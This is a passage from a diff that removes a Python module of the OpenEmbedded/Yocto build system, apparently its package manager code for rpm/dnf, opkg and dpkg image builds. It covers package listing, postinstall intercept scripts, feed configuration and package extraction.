- deb_dirs_found = True
-
- if not deb_dirs_found:
- bb.note("There are no packages in %s" % self.deploy_dir)
- return
-
- oe.utils.multiprocess_launch(create_index, index_cmds, self.d)
- if self.d.getVar('PACKAGE_FEED_SIGN') == '1':
- raise NotImplementedError('Package feed signing not implementd for dpkg')
-
-
-
-class PkgsList(object, metaclass=ABCMeta):
- def __init__(self, d, rootfs_dir):
- self.d = d
- self.rootfs_dir = rootfs_dir
-
- @abstractmethod
- def list_pkgs(self):
- pass
-
-class RpmPkgsList(PkgsList):
- def list_pkgs(self):
- return RpmPM(self.d, self.rootfs_dir, self.d.getVar('TARGET_VENDOR'), needfeed=False).list_installed()
-
-class OpkgPkgsList(PkgsList):
- def __init__(self, d, rootfs_dir, config_file):
- super(OpkgPkgsList, self).__init__(d, rootfs_dir)
-
- self.opkg_cmd = bb.utils.which(os.getenv('PATH'), "opkg")
- self.opkg_args = "-f %s -o %s " % (config_file, rootfs_dir)
- self.opkg_args += self.d.getVar("OPKG_ARGS")
-
- def list_pkgs(self, format=None):
- cmd = "%s %s status" % (self.opkg_cmd, self.opkg_args)
-
- # opkg returns success even when it printed some
- # "Collected errors:" report to stderr. Mixing stderr into
- # stdout then leads to random failures later on when
- # parsing the output. To avoid this we need to collect both
- # output streams separately and check for empty stderr.
- p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
- cmd_output, cmd_stderr = p.communicate()
- cmd_output = cmd_output.decode("utf-8")
- cmd_stderr = cmd_stderr.decode("utf-8")
- if p.returncode or cmd_stderr:
- bb.fatal("Cannot get the installed packages list. Command '%s' "
- "returned %d and stderr:\n%s" % (cmd, p.returncode, cmd_stderr))
-
- return opkg_query(cmd_output)
-
-
-class DpkgPkgsList(PkgsList):
-
- def list_pkgs(self):
- cmd = [bb.utils.which(os.getenv('PATH'), "dpkg-query"),
- "--admindir=%s/var/lib/dpkg" % self.rootfs_dir,
- "-W"]
-
- cmd.append("-f=Package: ${Package}\nArchitecture: ${PackageArch}\nVersion: ${Version}\nFile: ${Package}_${Version}_${Architecture}.deb\nDepends: ${Depends}\nRecommends: ${Recommends}\n\n")
-
- try:
- cmd_output = subprocess.check_output(cmd, stderr=subprocess.STDOUT).strip().decode("utf-8")
- except subprocess.CalledProcessError as e:
- bb.fatal("Cannot get the installed packages list. Command '%s' "
- "returned %d:\n%s" % (' '.join(cmd), e.returncode, e.output.decode("utf-8")))
-
- return opkg_query(cmd_output)
-
-
-class PackageManager(object, metaclass=ABCMeta):
- """
- This is an abstract class. Do not instantiate this directly.
- """
-
- def __init__(self, d, target_rootfs):
- self.d = d
- self.target_rootfs = target_rootfs
- self.deploy_dir = None
- self.deploy_lock = None
- self._initialize_intercepts()
-
- def _initialize_intercepts(self):
- bb.note("Initializing intercept dir for %s" % self.target_rootfs)
- # As there might be more than one instance of PackageManager operating at the same time
- # we need to isolate the intercept_scripts directories from each other,
- # hence the ugly hash digest in dir name.
- self.intercepts_dir = os.path.join(self.d.getVar('WORKDIR'), "intercept_scripts-%s" %
- (hashlib.sha256(self.target_rootfs.encode()).hexdigest()))
-
- postinst_intercepts = (self.d.getVar("POSTINST_INTERCEPTS") or "").split()
- if not postinst_intercepts:
- postinst_intercepts_path = self.d.getVar("POSTINST_INTERCEPTS_PATH")
- if not postinst_intercepts_path:
- postinst_intercepts_path = self.d.getVar("POSTINST_INTERCEPTS_DIR") or self.d.expand("${COREBASE}/scripts/postinst-intercepts")
- postinst_intercepts = oe.path.which_wild('*', postinst_intercepts_path)
-
- bb.debug(1, 'Collected intercepts:\n%s' % ''.join(' %s\n' % i for i in postinst_intercepts))
- bb.utils.remove(self.intercepts_dir, True)
- bb.utils.mkdirhier(self.intercepts_dir)
- for intercept in postinst_intercepts:
- bb.utils.copyfile(intercept, os.path.join(self.intercepts_dir, os.path.basename(intercept)))
-
- @abstractmethod
- def _handle_intercept_failure(self, failed_script):
- pass
-
- def _postpone_to_first_boot(self, postinst_intercept_hook):
- with open(postinst_intercept_hook) as intercept:
- registered_pkgs = None
- for line in intercept.read().split("\n"):
- m = re.match(r"^##PKGS:(.*)", line)
- if m is not None:
- registered_pkgs = m.group(1).strip()
- break
-
- if registered_pkgs is not None:
- bb.note("If an image is being built, the postinstalls for the following packages "
- "will be postponed for first boot: %s" %
- registered_pkgs)
-
- # call the backend dependent handler
- self._handle_intercept_failure(registered_pkgs)
-
-
- def run_intercepts(self, populate_sdk=None):
- intercepts_dir = self.intercepts_dir
-
- bb.note("Running intercept scripts:")
- os.environ['D'] = self.target_rootfs
- os.environ['STAGING_DIR_NATIVE'] = self.d.getVar('STAGING_DIR_NATIVE')
- for script in os.listdir(intercepts_dir):
- script_full = os.path.join(intercepts_dir, script)
-
- if script == "postinst_intercept" or not os.access(script_full, os.X_OK):
- continue
-
- # we do not want to run any multilib variant of this
- if script.startswith("delay_to_first_boot"):
- self._postpone_to_first_boot(script_full)
- continue
-
- if populate_sdk == 'host' and self.d.getVar('SDK_OS') == 'mingw32':
- bb.note("The postinstall intercept hook '%s' could not be executed due to missing wine support, details in %s/log.do_%s"
- % (script, self.d.getVar('T'), self.d.getVar('BB_CURRENTTASK')))
- continue
-
- bb.note("> Executing %s intercept ..." % script)
-
- try:
- output = subprocess.check_output(script_full, stderr=subprocess.STDOUT)
- if output: bb.note(output.decode("utf-8"))
- except subprocess.CalledProcessError as e:
- bb.note("Exit code %d. Output:\n%s" % (e.returncode, e.output.decode("utf-8")))
- if populate_sdk == 'host':
- bb.fatal("The postinstall intercept hook '%s' failed, details in %s/log.do_%s" % (script, self.d.getVar('T'), self.d.getVar('BB_CURRENTTASK')))
- elif populate_sdk == 'target':
- if "qemuwrapper: qemu usermode is not supported" in e.output.decode("utf-8"):
- bb.note("The postinstall intercept hook '%s' could not be executed due to missing qemu usermode support, details in %s/log.do_%s"
- % (script, self.d.getVar('T'), self.d.getVar('BB_CURRENTTASK')))
- else:
- bb.fatal("The postinstall intercept hook '%s' failed, details in %s/log.do_%s" % (script, self.d.getVar('T'), self.d.getVar('BB_CURRENTTASK')))
- else:
- if "qemuwrapper: qemu usermode is not supported" in e.output.decode("utf-8"):
- bb.note("The postinstall intercept hook '%s' could not be executed due to missing qemu usermode support, details in %s/log.do_%s"
- % (script, self.d.getVar('T'), self.d.getVar('BB_CURRENTTASK')))
- self._postpone_to_first_boot(script_full)
- else:
- bb.fatal("The postinstall intercept hook '%s' failed, details in %s/log.do_%s" % (script, self.d.getVar('T'), self.d.getVar('BB_CURRENTTASK')))
-
- @abstractmethod
- def update(self):
- """
- Update the package manager package database.
- """
- pass
-
- @abstractmethod
- def install(self, pkgs, attempt_only=False):
- """
- Install a list of packages. 'pkgs' is a list object. If 'attempt_only' is
- True, installation failures are ignored.
- """
- pass
-
- @abstractmethod
- def remove(self, pkgs, with_dependencies=True):
- """
- Remove a list of packages. 'pkgs' is a list object. If 'with_dependencies'
- is False, then any dependencies are left in place.
- """
- pass
-
- @abstractmethod
- def write_index(self):
- """
- This function creates the index files
- """
- pass
-
- @abstractmethod
- def remove_packaging_data(self):
- pass
-
- @abstractmethod
- def list_installed(self):
- pass
-
- @abstractmethod
- def extract(self, pkg):
- """
- Returns the path to a tmpdir where resides the contents of a package.
- Deleting the tmpdir is responsability of the caller.
- """
- pass
-
- @abstractmethod
- def insert_feeds_uris(self, feed_uris, feed_base_paths, feed_archs):
- """
- Add remote package feeds into repository manager configuration. The parameters
- for the feeds are set by feed_uris, feed_base_paths and feed_archs.
- See http://www.yoctoproject.org/docs/current/ref-manual/ref-manual.html#var-PACKAGE_FEED_URIS
- for their description.
- """
- pass
-
- def install_glob(self, globs, sdk=False):
- """
- Install all packages that match a glob.
- """
- # TODO don't have sdk here but have a property on the superclass
- # (and respect in install_complementary)
- if sdk:
- pkgdatadir = self.d.expand("${TMPDIR}/pkgdata/${SDK_SYS}")
- else:
- pkgdatadir = self.d.getVar("PKGDATA_DIR")
-
- try:
- bb.note("Installing globbed packages...")
- cmd = ["oe-pkgdata-util", "-p", pkgdatadir, "list-pkgs", globs]
- pkgs = subprocess.check_output(cmd, stderr=subprocess.STDOUT).decode("utf-8")
- self.install(pkgs.split(), attempt_only=True)
- except subprocess.CalledProcessError as e:
- # Return code 1 means no packages matched
- if e.returncode != 1:
- bb.fatal("Could not compute globbed packages list. Command "
- "'%s' returned %d:\n%s" %
- (' '.join(cmd), e.returncode, e.output.decode("utf-8")))
-
- def install_complementary(self, globs=None):
- """
- Install complementary packages based upon the list of currently installed
- packages e.g. locales, *-dev, *-dbg, etc. This will only attempt to install
- these packages, if they don't exist then no error will occur. Note: every
- backend needs to call this function explicitly after the normal package
- installation
- """
- if globs is None:
- globs = self.d.getVar('IMAGE_INSTALL_COMPLEMENTARY')
- split_linguas = set()
-
- for translation in self.d.getVar('IMAGE_LINGUAS').split():
- split_linguas.add(translation)
- split_linguas.add(translation.split('-')[0])
-
- split_linguas = sorted(split_linguas)
-
- for lang in split_linguas:
- globs += " *-locale-%s" % lang
- for complementary_linguas in (self.d.getVar('IMAGE_LINGUAS_COMPLEMENTARY') or "").split():
- globs += (" " + complementary_linguas) % lang
-
- if globs is None:
- return
-
- # we need to write the list of installed packages to a file because the
- # oe-pkgdata-util reads it from a file
- with tempfile.NamedTemporaryFile(mode="w+", prefix="installed-pkgs") as installed_pkgs:
- pkgs = self.list_installed()
- output = oe.utils.format_pkg_list(pkgs, "arch")
- installed_pkgs.write(output)
- installed_pkgs.flush()
-
- cmd = ["oe-pkgdata-util",
- "-p", self.d.getVar('PKGDATA_DIR'), "glob", installed_pkgs.name,
- globs]
- exclude = self.d.getVar('PACKAGE_EXCLUDE_COMPLEMENTARY')
- if exclude:
- cmd.extend(['--exclude=' + '|'.join(exclude.split())])
- try:
- bb.note("Installing complementary packages ...")
- bb.note('Running %s' % cmd)
- complementary_pkgs = subprocess.check_output(cmd, stderr=subprocess.STDOUT).decode("utf-8")
- self.install(complementary_pkgs.split(), attempt_only=True)
- except subprocess.CalledProcessError as e:
- bb.fatal("Could not compute complementary packages list. Command "
- "'%s' returned %d:\n%s" %
- (' '.join(cmd), e.returncode, e.output.decode("utf-8")))
-
- target_arch = self.d.getVar('TARGET_ARCH')
- localedir = oe.path.join(self.target_rootfs, self.d.getVar("libdir"), "locale")
- if os.path.exists(localedir) and os.listdir(localedir):
- generate_locale_archive(self.d, self.target_rootfs, target_arch, localedir)
- # And now delete the binary locales
- self.remove(fnmatch.filter(self.list_installed(), "glibc-binary-localedata-*"), False)
-
- def deploy_dir_lock(self):
- if self.deploy_dir is None:
- raise RuntimeError("deploy_dir is not set!")
-
- lock_file_name = os.path.join(self.deploy_dir, "deploy.lock")
-
- self.deploy_lock = bb.utils.lockfile(lock_file_name)
-
- def deploy_dir_unlock(self):
- if self.deploy_lock is None:
- return
-
- bb.utils.unlockfile(self.deploy_lock)
-
- self.deploy_lock = None
-
- def construct_uris(self, uris, base_paths):
- """
- Construct URIs based on the following pattern: uri/base_path where 'uri'
- and 'base_path' correspond to each element of the corresponding array
- argument leading to len(uris) x len(base_paths) elements on the returned
- array
- """
- def _append(arr1, arr2, sep='/'):
- res = []
- narr1 = [a.rstrip(sep) for a in arr1]
- narr2 = [a.rstrip(sep).lstrip(sep) for a in arr2]
- for a1 in narr1:
- if arr2:
- for a2 in narr2:
- res.append("%s%s%s" % (a1, sep, a2))
- else:
- res.append(a1)
- return res
- return _append(uris, base_paths)
-
-def create_packages_dir(d, subrepo_dir, deploydir, taskname, filterbydependencies):
- """
- Go through our do_package_write_X dependencies and hardlink the packages we depend
- upon into the repo directory. This prevents us seeing other packages that may
- have been built that we don't depend upon and also packages for architectures we don't
- support.
- """
- import errno
-
- taskdepdata = d.getVar("BB_TASKDEPDATA", False)
- mytaskname = d.getVar("BB_RUNTASK")
- pn = d.getVar("PN")
- seendirs = set()
- multilibs = {}
-
- bb.utils.remove(subrepo_dir, recurse=True)
- bb.utils.mkdirhier(subrepo_dir)
-
- # Detect bitbake -b usage
- nodeps = d.getVar("BB_LIMITEDDEPS") or False
- if nodeps or not filterbydependencies:
- oe.path.symlink(deploydir, subrepo_dir, True)
- return
-
- start = None
- for dep in taskdepdata:
- data = taskdepdata[dep]
- if data[1] == mytaskname and data[0] == pn:
- start = dep
- break
- if start is None:
- bb.fatal("Couldn't find ourself in BB_TASKDEPDATA?")
- pkgdeps = set()
- start = [start]
- seen = set(start)
- # Support direct dependencies (do_rootfs -> do_package_write_X)
- # or indirect dependencies within PN (do_populate_sdk_ext -> do_rootfs -> do_package_write_X)
- while start:
- next = []
- for dep2 in start:
- for dep in taskdepdata[dep2][3]:
- if taskdepdata[dep][0] != pn:
- if "do_" + taskname in dep:
- pkgdeps.add(dep)
- elif dep not in seen:
- next.append(dep)
- seen.add(dep)
- start = next
-
- for dep in pkgdeps:
- c = taskdepdata[dep][0]
- manifest, d2 = oe.sstatesig.find_sstate_manifest(c, taskdepdata[dep][2], taskname, d, multilibs)
- if not manifest:
- bb.fatal("No manifest generated from: %s in %s" % (c, taskdepdata[dep][2]))
- if not os.path.exists(manifest):
- continue
- with open(manifest, "r") as f:
- for l in f:
- l = l.strip()
- deploydir = os.path.normpath(deploydir)
- if bb.data.inherits_class('packagefeed-stability', d):
- dest = l.replace(deploydir + "-prediff", "")
- else:
- dest = l.replace(deploydir, "")
- dest = subrepo_dir + dest
- if l.endswith("/"):
- if dest not in seendirs:
- bb.utils.mkdirhier(dest)
- seendirs.add(dest)
- continue
- # Try to hardlink the file, copy if that fails
- destdir = os.path.dirname(dest)
- if destdir not in seendirs:
- bb.utils.mkdirhier(destdir)
- seendirs.add(destdir)
- try:
- os.link(l, dest)
- except OSError as err:
- if err.errno == errno.EXDEV:
- bb.utils.copyfile(l, dest)
- else:
- raise
-
-class RpmPM(PackageManager):
- def __init__(self,
- d,
- target_rootfs,
- target_vendor,
- task_name='target',
- arch_var=None,
- os_var=None,
- rpm_repo_workdir="oe-rootfs-repo",
- filterbydependencies=True,
- needfeed=True):
- super(RpmPM, self).__init__(d, target_rootfs)
- self.target_vendor = target_vendor
- self.task_name = task_name
- if arch_var == None:
- self.archs = self.d.getVar('ALL_MULTILIB_PACKAGE_ARCHS').replace("-","_")
- else:
- self.archs = self.d.getVar(arch_var).replace("-","_")
- if task_name == "host":
- self.primary_arch = self.d.getVar('SDK_ARCH')
- else:
- self.primary_arch = self.d.getVar('MACHINE_ARCH')
-
- if needfeed:
- self.rpm_repo_dir = oe.path.join(self.d.getVar('WORKDIR'), rpm_repo_workdir)
- create_packages_dir(self.d, oe.path.join(self.rpm_repo_dir, "rpm"), d.getVar("DEPLOY_DIR_RPM"), "package_write_rpm", filterbydependencies)
-
- self.saved_packaging_data = self.d.expand('${T}/saved_packaging_data/%s' % self.task_name)
- if not os.path.exists(self.d.expand('${T}/saved_packaging_data')):
- bb.utils.mkdirhier(self.d.expand('${T}/saved_packaging_data'))
- self.packaging_data_dirs = ['etc/rpm', 'etc/rpmrc', 'etc/dnf', 'var/lib/rpm', 'var/lib/dnf', 'var/cache/dnf']
- self.solution_manifest = self.d.expand('${T}/saved/%s_solution' %
- self.task_name)
- if not os.path.exists(self.d.expand('${T}/saved')):
- bb.utils.mkdirhier(self.d.expand('${T}/saved'))
-
- def _configure_dnf(self):
- # libsolv handles 'noarch' internally, we don't need to specify it explicitly
- archs = [i for i in reversed(self.archs.split()) if i not in ["any", "all", "noarch"]]
- # This prevents accidental matching against libsolv's built-in policies
- if len(archs) <= 1:
- archs = archs + ["bogusarch"]
- confdir = "%s/%s" %(self.target_rootfs, "etc/dnf/vars/")
- bb.utils.mkdirhier(confdir)
- open(confdir + "arch", 'w').write(":".join(archs))
- distro_codename = self.d.getVar('DISTRO_CODENAME')
- open(confdir + "releasever", 'w').write(distro_codename if distro_codename is not None else '')
-
- open(oe.path.join(self.target_rootfs, "etc/dnf/dnf.conf"), 'w').write("")
-
-
- def _configure_rpm(self):
- # We need to configure rpm to use our primary package architecture as the installation architecture,
- # and to make it compatible with other package architectures that we use.
- # Otherwise it will refuse to proceed with packages installation.
- platformconfdir = "%s/%s" %(self.target_rootfs, "etc/rpm/")
- rpmrcconfdir = "%s/%s" %(self.target_rootfs, "etc/")
- bb.utils.mkdirhier(platformconfdir)
- open(platformconfdir + "platform", 'w').write("%s-pc-linux" % self.primary_arch)
- with open(rpmrcconfdir + "rpmrc", 'w') as f:
- f.write("arch_compat: %s: %s\n" % (self.primary_arch, self.archs if len(self.archs) > 0 else self.primary_arch))
- f.write("buildarch_compat: %s: noarch\n" % self.primary_arch)
-
- open(platformconfdir + "macros", 'w').write("%_transaction_color 7\n")
- if self.d.getVar('RPM_PREFER_ELF_ARCH'):
- open(platformconfdir + "macros", 'a').write("%%_prefer_color %s" % (self.d.getVar('RPM_PREFER_ELF_ARCH')))
- else:
- open(platformconfdir + "macros", 'a').write("%_prefer_color 7")
-
- if self.d.getVar('RPM_SIGN_PACKAGES') == '1':
- signer = get_signer(self.d, self.d.getVar('RPM_GPG_BACKEND'))
- pubkey_path = oe.path.join(self.d.getVar('B'), 'rpm-key')
- signer.export_pubkey(pubkey_path, self.d.getVar('RPM_GPG_NAME'))
- rpm_bin = bb.utils.which(os.getenv('PATH'), "rpmkeys")
- cmd = [rpm_bin, '--root=%s' % self.target_rootfs, '--import', pubkey_path]
- try:
- subprocess.check_output(cmd, stderr=subprocess.STDOUT)
- except subprocess.CalledProcessError as e:
- bb.fatal("Importing GPG key failed. Command '%s' "
- "returned %d:\n%s" % (' '.join(cmd), e.returncode, e.output.decode("utf-8")))
-
- def create_configs(self):
- self._configure_dnf()
- self._configure_rpm()
-
- def write_index(self):
- lockfilename = self.d.getVar('DEPLOY_DIR_RPM') + "/rpm.lock"
- lf = bb.utils.lockfile(lockfilename, False)
- RpmIndexer(self.d, self.rpm_repo_dir).write_index()
- bb.utils.unlockfile(lf)
-
- def insert_feeds_uris(self, feed_uris, feed_base_paths, feed_archs):
- from urllib.parse import urlparse
-
- if feed_uris == "":
- return
-
- gpg_opts = ''
- if self.d.getVar('PACKAGE_FEED_SIGN') == '1':
- gpg_opts += 'repo_gpgcheck=1\n'
- gpg_opts += 'gpgkey=file://%s/pki/packagefeed-gpg/PACKAGEFEED-GPG-KEY-%s-%s\n' % (self.d.getVar('sysconfdir'), self.d.getVar('DISTRO'), self.d.getVar('DISTRO_CODENAME'))
-
- if self.d.getVar('RPM_SIGN_PACKAGES') != '1':
- gpg_opts += 'gpgcheck=0\n'
-
- bb.utils.mkdirhier(oe.path.join(self.target_rootfs, "etc", "yum.repos.d"))
- remote_uris = self.construct_uris(feed_uris.split(), feed_base_paths.split())
- for uri in remote_uris:
- repo_base = "oe-remote-repo" + "-".join(urlparse(uri).path.split("/"))
- if feed_archs is not None:
- for arch in feed_archs.split():
- repo_uri = uri + "/" + arch
- repo_id = "oe-remote-repo" + "-".join(urlparse(repo_uri).path.split("/"))
- repo_name = "OE Remote Repo:" + " ".join(urlparse(repo_uri).path.split("/"))
- open(oe.path.join(self.target_rootfs, "etc", "yum.repos.d", repo_base + ".repo"), 'a').write(
- "[%s]\nname=%s\nbaseurl=%s\n%s\n" % (repo_id, repo_name, repo_uri, gpg_opts))
- else:
- repo_name = "OE Remote Repo:" + " ".join(urlparse(uri).path.split("/"))
- repo_uri = uri
- open(oe.path.join(self.target_rootfs, "etc", "yum.repos.d", repo_base + ".repo"), 'w').write(
- "[%s]\nname=%s\nbaseurl=%s\n%s" % (repo_base, repo_name, repo_uri, gpg_opts))
-
- def _prepare_pkg_transaction(self):
- os.environ['D'] = self.target_rootfs
- os.environ['OFFLINE_ROOT'] = self.target_rootfs
- os.environ['IPKG_OFFLINE_ROOT'] = self.target_rootfs
- os.environ['OPKG_OFFLINE_ROOT'] = self.target_rootfs
- os.environ['INTERCEPT_DIR'] = self.intercepts_dir
- os.environ['NATIVE_ROOT'] = self.d.getVar('STAGING_DIR_NATIVE')
-
-
- def install(self, pkgs, attempt_only = False):
- if len(pkgs) == 0:
- return
- self._prepare_pkg_transaction()
-
- bad_recommendations = self.d.getVar('BAD_RECOMMENDATIONS')
- package_exclude = self.d.getVar('PACKAGE_EXCLUDE')
- exclude_pkgs = (bad_recommendations.split() if bad_recommendations else []) + (package_exclude.split() if package_exclude else [])
-
- output = self._invoke_dnf((["--skip-broken"] if attempt_only else []) +
- (["-x", ",".join(exclude_pkgs)] if len(exclude_pkgs) > 0 else []) +
- (["--setopt=install_weak_deps=False"] if self.d.getVar('NO_RECOMMENDATIONS') == "1" else []) +
- (["--nogpgcheck"] if self.d.getVar('RPM_SIGN_PACKAGES') != '1' else ["--setopt=gpgcheck=True"]) +
- ["install"] +
- pkgs)
-
- failed_scriptlets_pkgnames = collections.OrderedDict()
- for line in output.splitlines():
- if line.startswith("Error in POSTIN scriptlet in rpm package"):
- failed_scriptlets_pkgnames[line.split()[-1]] = True
-
- if len(failed_scriptlets_pkgnames) > 0:
- failed_postinsts_abort(list(failed_scriptlets_pkgnames.keys()), self.d.expand("${T}/log.do_${BB_CURRENTTASK}"))
-
- def remove(self, pkgs, with_dependencies = True):
- if not pkgs:
- return
-
- self._prepare_pkg_transaction()
-
- if with_dependencies:
- self._invoke_dnf(["remove"] + pkgs)
- else:
- cmd = bb.utils.which(os.getenv('PATH'), "rpm")
- args = ["-e", "-v", "--nodeps", "--root=%s" %self.target_rootfs]
-
- try:
- bb.note("Running %s" % ' '.join([cmd] + args + pkgs))
- output = subprocess.check_output([cmd] + args + pkgs, stderr=subprocess.STDOUT).decode("utf-8")
- bb.note(output)
- except subprocess.CalledProcessError as e:
- bb.fatal("Could not invoke rpm. Command "
- "'%s' returned %d:\n%s" % (' '.join([cmd] + args + pkgs), e.returncode, e.output.decode("utf-8")))
-
- def upgrade(self):
- self._prepare_pkg_transaction()
- self._invoke_dnf(["upgrade"])
-
- def autoremove(self):
- self._prepare_pkg_transaction()
- self._invoke_dnf(["autoremove"])
-
- def remove_packaging_data(self):
- self._invoke_dnf(["clean", "all"])
- for dir in self.packaging_data_dirs:
- bb.utils.remove(oe.path.join(self.target_rootfs, dir), True)
-
- def backup_packaging_data(self):
- # Save the packaging dirs for increment rpm image generation
- if os.path.exists(self.saved_packaging_data):
- bb.utils.remove(self.saved_packaging_data, True)
- for i in self.packaging_data_dirs:
- source_dir = oe.path.join(self.target_rootfs, i)
- target_dir = oe.path.join(self.saved_packaging_data, i)
- if os.path.isdir(source_dir):
- shutil.copytree(source_dir, target_dir, symlinks=True)
- elif os.path.isfile(source_dir):
- shutil.copy2(source_dir, target_dir)
-
- def recovery_packaging_data(self):
- # Move the rpmlib back
- if os.path.exists(self.saved_packaging_data):
- for i in self.packaging_data_dirs:
- target_dir = oe.path.join(self.target_rootfs, i)
- if os.path.exists(target_dir):
- bb.utils.remove(target_dir, True)
- source_dir = oe.path.join(self.saved_packaging_data, i)
- if os.path.isdir(source_dir):
- shutil.copytree(source_dir, target_dir, symlinks=True)
- elif os.path.isfile(source_dir):
- shutil.copy2(source_dir, target_dir)
-
- def list_installed(self):
- output = self._invoke_dnf(["repoquery", "--installed", "--queryformat", "Package: %{name} %{arch} %{version} %{name}-%{version}-%{release}.%{arch}.rpm\nDependencies:\n%{requires}\nRecommendations:\n%{recommends}\nDependenciesEndHere:\n"],
- print_output = False)
- packages = {}
- current_package = None
- current_deps = None
- current_state = "initial"
- for line in output.splitlines():
- if line.startswith("Package:"):
- package_info = line.split(" ")[1:]
- current_package = package_info[0]
- package_arch = package_info[1]
- package_version = package_info[2]
- package_rpm = package_info[3]
- packages[current_package] = {"arch":package_arch, "ver":package_version, "filename":package_rpm}
- current_deps = []
- elif line.startswith("Dependencies:"):
- current_state = "dependencies"
- elif line.startswith("Recommendations"):
- current_state = "recommendations"
- elif line.startswith("DependenciesEndHere:"):
- current_state = "initial"
- packages[current_package]["deps"] = current_deps
- elif len(line) > 0:
- if current_state == "dependencies":
- current_deps.append(line)
- elif current_state == "recommendations":
- current_deps.append("%s [REC]" % line)
-
- return packages
-
- def update(self):
- self._invoke_dnf(["makecache", "--refresh"])
-
- def _invoke_dnf(self, dnf_args, fatal = True, print_output = True ):
- os.environ['RPM_ETCCONFIGDIR'] = self.target_rootfs
-
- dnf_cmd = bb.utils.which(os.getenv('PATH'), "dnf")
- standard_dnf_args = ["-v", "--rpmverbosity=info", "-y",
- "-c", oe.path.join(self.target_rootfs, "etc/dnf/dnf.conf"),
- "--setopt=reposdir=%s" %(oe.path.join(self.target_rootfs, "etc/yum.repos.d")),
- "--installroot=%s" % (self.target_rootfs),
- "--setopt=logdir=%s" % (self.d.getVar('T'))
- ]
- if hasattr(self, "rpm_repo_dir"):
- standard_dnf_args.append("--repofrompath=oe-repo,%s" % (self.rpm_repo_dir))
- cmd = [dnf_cmd] + standard_dnf_args + dnf_args
- bb.note('Running %s' % ' '.join(cmd))
- try:
- output = subprocess.check_output(cmd,stderr=subprocess.STDOUT).decode("utf-8")
- if print_output:
- bb.debug(1, output)
- return output
- except subprocess.CalledProcessError as e:
- if print_output:
- (bb.note, bb.fatal)[fatal]("Could not invoke dnf. Command "
- "'%s' returned %d:\n%s" % (' '.join(cmd), e.returncode, e.output.decode("utf-8")))
- else:
- (bb.note, bb.fatal)[fatal]("Could not invoke dnf. Command "
- "'%s' returned %d:" % (' '.join(cmd), e.returncode))
- return e.output.decode("utf-8")
-
- def dump_install_solution(self, pkgs):
- open(self.solution_manifest, 'w').write(" ".join(pkgs))
- return pkgs
-
- def load_old_install_solution(self):
- if not os.path.exists(self.solution_manifest):
- return []
- with open(self.solution_manifest, 'r') as fd:
- return fd.read().split()
-
- def _script_num_prefix(self, path):
- files = os.listdir(path)
- numbers = set()
- numbers.add(99)
- for f in files:
- numbers.add(int(f.split("-")[0]))
- return max(numbers) + 1
-
- def save_rpmpostinst(self, pkg):
- bb.note("Saving postinstall script of %s" % (pkg))
- cmd = bb.utils.which(os.getenv('PATH'), "rpm")
- args = ["-q", "--root=%s" % self.target_rootfs, "--queryformat", "%{postin}", pkg]
-
- try:
- output = subprocess.check_output([cmd] + args,stderr=subprocess.STDOUT).decode("utf-8")
- except subprocess.CalledProcessError as e:
- bb.fatal("Could not invoke rpm. Command "
- "'%s' returned %d:\n%s" % (' '.join([cmd] + args), e.returncode, e.output.decode("utf-8")))
-
- # may need to prepend #!/bin/sh to output
-
- target_path = oe.path.join(self.target_rootfs, self.d.expand('${sysconfdir}/rpm-postinsts/'))
- bb.utils.mkdirhier(target_path)
- num = self._script_num_prefix(target_path)
- saved_script_name = oe.path.join(target_path, "%d-%s" % (num, pkg))
- open(saved_script_name, 'w').write(output)
- os.chmod(saved_script_name, 0o755)
-
- def _handle_intercept_failure(self, registered_pkgs):
- rpm_postinsts_dir = self.target_rootfs + self.d.expand('${sysconfdir}/rpm-postinsts/')
- bb.utils.mkdirhier(rpm_postinsts_dir)
-
- # Save the package postinstalls in /etc/rpm-postinsts
- for pkg in registered_pkgs.split():
- self.save_rpmpostinst(pkg)
-
- def extract(self, pkg):
- output = self._invoke_dnf(["repoquery", "--queryformat", "%{location}", pkg])
- pkg_name = output.splitlines()[-1]
- if not pkg_name.endswith(".rpm"):
- bb.fatal("dnf could not find package %s in repository: %s" %(pkg, output))
- pkg_path = oe.path.join(self.rpm_repo_dir, pkg_name)
-
- cpio_cmd = bb.utils.which(os.getenv("PATH"), "cpio")
- rpm2cpio_cmd = bb.utils.which(os.getenv("PATH"), "rpm2cpio")
-
- if not os.path.isfile(pkg_path):
- bb.fatal("Unable to extract package for '%s'."
- "File %s doesn't exists" % (pkg, pkg_path))
-
- tmp_dir = tempfile.mkdtemp()
- current_dir = os.getcwd()
- os.chdir(tmp_dir)
-
- try:
- cmd = "%s %s | %s -idmv" % (rpm2cpio_cmd, pkg_path, cpio_cmd)
- output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
- except subprocess.CalledProcessError as e:
- bb.utils.remove(tmp_dir, recurse=True)
- bb.fatal("Unable to extract %s package. Command '%s' "
- "returned %d:\n%s" % (pkg_path, cmd, e.returncode, e.output.decode("utf-8")))
- except OSError as e:
- bb.utils.remove(tmp_dir, recurse=True)
- bb.fatal("Unable to extract %s package. Command '%s' "
- "returned %d:\n%s at %s" % (pkg_path, cmd, e.errno, e.strerror, e.filename))
-
- bb.note("Extracted %s to %s" % (pkg_path, tmp_dir))
- os.chdir(current_dir)
-
- return tmp_dir
-
-
-class OpkgDpkgPM(PackageManager):
- def __init__(self, d, target_rootfs):
- """
- This is an abstract class. Do not instantiate this directly.
- """
- super(OpkgDpkgPM, self).__init__(d, target_rootfs)
-
- def package_info(self, pkg, cmd):
- """
- Returns a dictionary with the package info.
-
- This method extracts the common parts for Opkg and Dpkg
- """
-
- try:
- output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True).decode("utf-8")
- except subprocess.CalledProcessError as e:
- bb.fatal("Unable to list available packages. Command '%s' "
- "returned %d:\n%s" % (cmd, e.returncode, e.output.decode("utf-8")))
- return opkg_query(output)
-
- def extract(self, pkg, pkg_info):
- """
- Returns the path to a tmpdir where resides the contents of a package.
-
- Deleting the tmpdir is responsability of the caller.
-
- This method extracts the common parts for Opkg and Dpkg
- """
-
- ar_cmd = bb.utils.which(os.getenv("PATH"), "ar")
- tar_cmd = bb.utils.which(os.getenv("PATH"), "tar")
- pkg_path = pkg_info[pkg]["filepath"]
-
- if not os.path.isfile(pkg_path):
- bb.fatal("Unable to extract package for '%s'."
- "File %s doesn't exists" % (pkg, pkg_path))
-
- tmp_dir = tempfile.mkdtemp()
- current_dir = os.getcwd()
- os.chdir(tmp_dir)
- data_tar = 'data.tar.xz'
-
- try:
- cmd = [ar_cmd, 'x', pkg_path]
